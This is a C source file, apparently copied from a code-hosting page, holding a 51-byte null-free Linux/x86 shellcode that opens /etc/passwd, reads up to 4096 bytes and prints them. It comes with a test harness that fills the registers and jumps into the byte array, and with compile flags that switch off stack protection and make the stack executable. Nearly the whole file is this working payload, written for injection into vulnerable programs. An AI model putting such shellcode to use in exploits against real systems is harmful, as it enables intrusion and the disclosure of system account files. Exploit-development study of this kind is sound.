74 lines
No EOL
1.9 KiB
C
74 lines
No EOL
1.9 KiB
C
/*
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Tiny Read File Shellcode - C Language - Linux/x86
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Copyright (C) 2013 Geyslan G. Bem, Hacking bits
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http://hackingbits.com
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geyslan@gmail.com
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This program is free software: you can redistribute it and/or modify
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it under the terms of the GNU General Public License as published by
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the Free Software Foundation, either version 3 of the License, or
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(at your option) any later version.
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This program is distributed in the hope that it will be useful,
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but WITHOUT ANY WARRANTY; without even the implied warranty of
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MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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GNU General Public License for more details.
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You should have received a copy of the GNU General Public License
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along with this program. If not, see <http://www.gnu.org/licenses/>.
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*/
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/*
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tiny_read_file_shellcode
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* 51 bytes
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* null-free
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* read 4096 bytes from /etc/passwd file
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# gcc -m32 -fno-stack-protector -z execstack tiny_read_file_shellcode.c -o tiny_read_file_shellcode
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Testing
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# ./tiny_read_file_shellcode
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*/
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#include <stdio.h>
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#include <string.h>
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unsigned char shellcode[] = \
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"\x31\xc9\xf7\xe1\xb0\x05\x51\x68\x73\x73"
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"\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f"
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"\x65\x74\x89\xe3\xcd\x80\x93\x91\xb0\x03"
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"\x31\xd2\x66\xba\xff\x0f\x42\xcd\x80\x92"
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"\x31\xc0\xb0\x04\xb3\x01\xcd\x80\x93\xcd"
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"\x80";
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main ()
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{
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// When contains null bytes, printf will show a wrong shellcode length.
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printf("Shellcode Length: %d\n", strlen(shellcode));
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// Pollutes all registers ensuring that the shellcode runs in any circumstance.
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__asm__ ("movl $0xffffffff, %eax\n\t"
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"movl %eax, %ebx\n\t"
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"movl %eax, %ecx\n\t"
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"movl %eax, %edx\n\t"
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"movl %eax, %esi\n\t"
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"movl %eax, %edi\n\t"
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"movl %eax, %ebp\n\t"
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// Calling the shellcode
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"call shellcode");
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} |